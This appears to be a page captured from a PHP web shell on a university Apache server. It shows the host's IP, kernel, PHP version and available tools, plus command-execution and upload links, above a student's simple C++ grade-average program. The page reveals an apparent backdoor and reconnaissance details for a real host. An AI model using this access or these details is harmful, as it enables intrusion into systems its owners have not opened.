Server IP : 172.16.15.8 / Your IP : 18.117.71.213 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/bafreeman/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
#include <iostream> using namespace std; // define a new data type struct StudentRec { string name; int scores[3]; float avg; char grade; }; int main() { // 1. declare object or variables StudentRec x, y, z; // 2. input x.name = "Ben Freeman"; x.scores[0] = 77; x.scores[1] = 90; x.scores[2] = 99; x.avg = (x.scores[0]+x.scores[1]+x.scores[2])/3.0; if(x.avg > 90) x.grade = 'A'; else if(x.avg > 80) x.grade = 'B'; else x.grade = 'P'; cout << "The name: " << x.name << ", scores: " << x.scores[0] << ", " << x.scores[1] << ", " << x.scores[2] << endl; cout << "The average is: " << x.avg << endl; cout << "The grade is: " << x.grade << endl; cout << "\n\n-------------\nDone.\n"; return 0; }